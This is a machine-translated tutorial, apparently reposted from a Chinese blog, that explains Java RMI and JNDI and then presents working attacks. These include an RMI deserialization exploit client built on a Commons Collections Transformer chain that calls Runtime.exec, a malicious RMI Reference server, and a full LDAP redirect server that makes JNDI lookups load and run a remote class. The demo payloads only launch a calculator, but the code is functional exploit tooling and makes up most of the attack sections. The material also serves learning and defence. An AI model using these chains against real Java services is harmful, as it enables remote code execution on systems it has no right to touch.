Due to recent log4j and fastjson frequently exposed JNDI vulnerability crisis, I feel it necessary to learn jndi and rmi
1 RMI
1.1 rmi concept
RMI uses Java in jdk1 2, which greatly enhances the ability of Java to develop distributed applications. Java's implementation of RMI specification uses JRMP protocol by default. In Weblogic, the implementation of RMI specification uses T3 protocol
JRMP: Java Remote Message Protocol. This is a line layer protocol running under Java RMI and over TCP/IP. The protocol requires both the server and the client to be written in Java. Just like the HTTP protocol, it specifies the specifications to be met by the communication between the client and the server
RMI (Remote Method Invocation) is a remote method call that allows an object running on one Java virtual machine to call an object running on another Java virtual machine. The two virtual machines can be running in different processes on the same computer or in different computers on the network.
Unlike socket,RMI is divided into three parts: Server, Client and Registry
- Server: provide remote objects
- Client: call remote object
- Registry: a registry that stores the location (ip, port, identifier) of remote objects
1.2 RMI basic application
RMI can call a remote Java object for local execution, but the class called remotely must inherit Java rmi. Remote interface
1.2. 1 define a remote interface
public interface Rmidemo extends Remote { public String hello() throws RemoteException; }
When defining a remote interface, you need to inherit Java rmi. Remote interface, and the modifier must be public, otherwise an error will be reported when calling remotely. And the defined method needs to throw a RemoteException exception
1.2. 2 write an implementation class of remote interface
When writing this implementation class, you need to inherit this class from UnicastRemoteObject
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{ protected RemoteHelloWorld() throws RemoteException { System.out.println("Construction method"); } public String hello() throws RemoteException { System.out.println("hello Method called"); return "hello,world"; } }
1.2. 3 create a server instance
Create a server instance, create a registry, and register the objects that need to be provided to the client in the registry
public class servet { public static void main(String[] args) throws RemoteException { Rmidemo hello = new RemoteHelloWorld();//Create remote object Registry registry = LocateRegistry.createRegistry(1099);//Create registry registry.rebind("hello",hello);//Register the remote object in the registry and set the value to hello } }
At this step, the simple RMI server code is written
1.2. 4 write the client and call the remote object
public class clientdemo { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost", 1099);//Get remote host object // Use the registry agent to query the object named hello in the remote registry Rmidemo hello = (Rmidemo) registry.lookup("hello"); // Call remote method System.out.println(hello.hello()); } }
In this step, it should be noted that if the remote method has parameters, the parameters passed in by calling the method must be serializable. In transmission, the serialized data is transmitted, and the server will deserialize the input of the client
1.3 RMI deserialization attack
RMI needs to be used for deserialization attack, which requires two conditions: receiving parameters of Object type and the existence of an execution command utilization chain at the service end of RMI
Here is a simple rewrite of the above code
1.3. 1 define remote interface
You need to define a parameter method of object type
public interface User extends Remote { public String hello(String hello) throws RemoteException; void work(Object obj) throws RemoteException; void say() throws RemoteException; }
1.3. 2 remote interface implementation
public class UserImpl extends UnicastRemoteObject implements User { protected UserImpl() throws RemoteException { } protected UserImpl(int port) throws RemoteException { super(port); } protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException { super(port, csf, ssf); } public String hello(String hello) throws RemoteException { return "hello"; } public void work(Object obj) throws RemoteException { System.out.println("work Called"); } public void say() throws RemoteException { System.out.println("say"); } }
1.3. 3 server
public class server { public static void main(String[] args) throws RemoteException { User user = new UserImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.rebind("user",user); System.out.println("rmi running...."); } }
1.3. 4 client
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.rmi.Naming; import java.util.HashMap; import java.util.Map; public class client { public static void main(String[] args) throws Exception { String url = "rmi://192.168.20.130:1099/user"; User userClient = (User) Naming.lookup(url); userClient.work(getpayload()); } public static Object getpayload() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "sijidou"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, transformedMap); return instance; } }
After executing the client, we will execute the commands we set to execute, that is, pop up the calculator. The reason why RMI is executed is that RMI will be serialized when transmitting data. The data after transmission sequence is serialized will be deserialized after transmission is completed. At this time, if a malicious serialized data is transmitted, the deserialization command will be executed
Reproduced at: https://www.cnblogs.com/nice0e3/p/13927460.html
2 JNDI
2.1 concept
JNDI (Java Naming and Directory Interface) is a standard Java Naming System interface provided by SUN company. JNDI provides a unified client API. Through the implementation of JNDI service provider interface (SPI) through different access provider interfaces, the manager maps the JNDI API to a specific naming service and directory system, Enables Java applications to interact with these naming and directory services. Directory service is a natural extension of naming service
Naming services associate names with objects so that readers can access objects with names. Directory service is a naming service in which objects have not only names but also attributes.
JNDI is an API for application design. It provides developers with a common and unified interface to find and access various naming and directory services. Similar to JDBC, it is built on the abstraction layer. Now JNDI has become one of the J2EE standards. All J2EE containers must provide a JNDI service.
The existing directories and services that JNDI can access are:
DNS, XNam, Novell directory service, LDAP(Lightweight Directory Access Protocol), CORBA object service, file system, registry of Windows XP/2000/NT/Me/9x, RMI, DSML v1&v2, NIS
The above is a description of Baidu wiki. To put it simply, it is equivalent to an index library. A naming service associates objects with names, and the corresponding objects can be found by their specified names
2.2 JNDI structure
Five packages are provided in the Java JDK to realize the functions of JNDI. They are
- javax.naming: mainly used for naming operations. It contains classes and interfaces of naming services. This package defines Context interfaces and InitialContext classes;
- javax.naming.directory: mainly used for directory operation. It defines DirContext interface and initialdir context class;
- javax.naming.event: request event notification in the naming directory server;
- javax.naming.ldap: provide LDAP support;
- javax.naming.spi: allows dynamic insertion of different implementations, providing development and implementation channels for developers of different named directory service providers, so that applications can access relevant services through JNDI.
2.2.1 InitialContext class
Construction method:
InitialContext(): build an initial context.
InitialContext(boolean lazy): construct an initial context and choose not to initialize it.
Initialcontext (hashtable <?,? > environment): use the provided environment to build the initial context
Common methods:
- Bind (name, object obj) binds a name to an object
- list(String name) enumerates the names bound in the naming context and the class names of the objects bound to them
- lookup(String name) retrieves the named object
- rebind(String name, Object obj) binds the name to the object, overwriting any existing bindings
- unbind(String name) unbinds the named object
Examples are as follows:
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
2.2.2 Reference class
This class is also in javax Naming is a class that represents a reference to an object found outside the naming / directory system. Provides the reference function of classes in JNDI
Construction method:
Reference(String className) constructs a new reference for the object whose class name is className.
Reference(String className, RefAddr addr) constructs a new reference for the object and address whose class name is className
Reference (string className, refaddr, addr, string factory, string factorylocation) constructs a new reference for the object whose class name is className, the class name and location of the object factory, and the address of the object
Reference(String className, String factory, String factoryLocation) constructs a new reference for the object with class name className and the class name and location of the object factory.
Example:
String url = "http://127.0.0.1:8080"; Reference reference = new Reference("test", "test", url);
Parameter 1: className - the class name used when loading remotely
Parameter 2: classFactory - the name of the class to be instantiated in the loaded class
Parameter 3: classFactoryLocation - the address providing classes data can be file/ftp/http protocol
Common methods:
void add(int posn, RefAddr addr) adds the address to the address list of index posn.
void add(RefAddr addr) adds the address to the end of the address list.
void clear() removes all addresses from this reference.
RefAddr get(int posn) retrieves the address on the index posn.
RefAddr get(String addrType) retrieves the first address whose address type is addrType.
Enumeration < refaddr > getall() retrieves an enumeration of addresses in this reference.
String getClassName() retrieves the class name of the referenced object.
String getFactoryClassLocation() retrieves the factory location of the object referenced by this reference.
String getFactoryClassName() retrieves the class name of the factory that references this object.
Object remove(int posn) deletes the address on the index posn from the address list.
int size() retrieves the number of addresses in this reference.
String toString() generates a string representation of this reference
Code example:
public class jndi { public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { String url = "http://127.0.0.1:8080"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("aa",referenceWrapper); } }
Here you can see that after calling the Reference, you call the ReferenceWrapper to pass in the previous Reference object. The reason is that you can know the reason by looking at the Reference. When you look at the Reference, you do not inherit the Remote interface or the UnicastRemoteObject class. As mentioned earlier when talking about RMI, You need to register the class with Registry. You need to implement Remote and inherit UnicastRemoteObject class. There is no relevant code here, so you need to call ReferenceWrapper to encapsulate it
2.3 JNDI injection attack
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext();//Get a reference to the initial directory environment initialContext.lookup(uri);//Gets the specified remote object } }
In the above initialcontext Here in lookup (URI), if the URI is controllable, the client may be attacked. JNDI can use RMI and LDAP to access the target service. In practical application, JNDI injection and RMI will also be used to realize attacks
2.4 JNDI injection + RMI implementation attack
2.4.1 RMIServer code
public class server { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { String url = "http://127.0.0.1:8080/"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj",referenceWrapper); System.out.println("running"); } }
2.4.2 RMIClient code
public class client { public static void main(String[] args) throws NamingException { String url = "rmi://localhost:1099/obj"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
Next, you need a section of code to execute the command, which is mounted on the web page for the server to request
public class test { public static void main(String[] args) throws IOException { Runtime.getRuntime().exec("calc"); } }
Use the javac command to compile the class into a class file and mount it on the web page.
The principle is to bind the malicious Reference class to the Registry of RMI. When the client calls lookup to remotely obtain the remote class, it will obtain the Reference object. After obtaining the Reference object, it will find the class specified in the Reference. If it cannot be found, it will make a request at the remote address specified in the Reference, Requests to remote classes are executed locally
2.5 JNDI injection + LDAP implementation attack
LDAP concept: LDAP Lightweight Directory Access Protocol (abbreviation: LDAP/ ˈɛ ld æ p /) is an open, neutral, industry standard application protocol that provides access control and maintains directory information of distributed information through IP protocol
After having the previous case, it is also relatively simple to look at this. The reason why JNDI injection will cooperate with LDAP is that the Reference remote loading Factory class of LDAP service is not affected by com sun. jndi. rmi. object. trustURLCodebase,com. sun. jndi. cosnaming. object. Restrictions on attributes such as trusturlcodebase.
Examples are as follows:
2.5. 1. Server side
public class demo { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8080/#test"}; int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
2.5. 2 write a client
public class clientdemo { public static void main(String[] args) throws NamingException { Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc"); } }
Write a remote malicious class, compile it into a class file and place it in the web page.
public class test{ public test() throws Exception{ Runtime.getRuntime().exec("calc"); } }
Reproduced at: https://www.cnblogs.com/nice0e3/p/13958047.html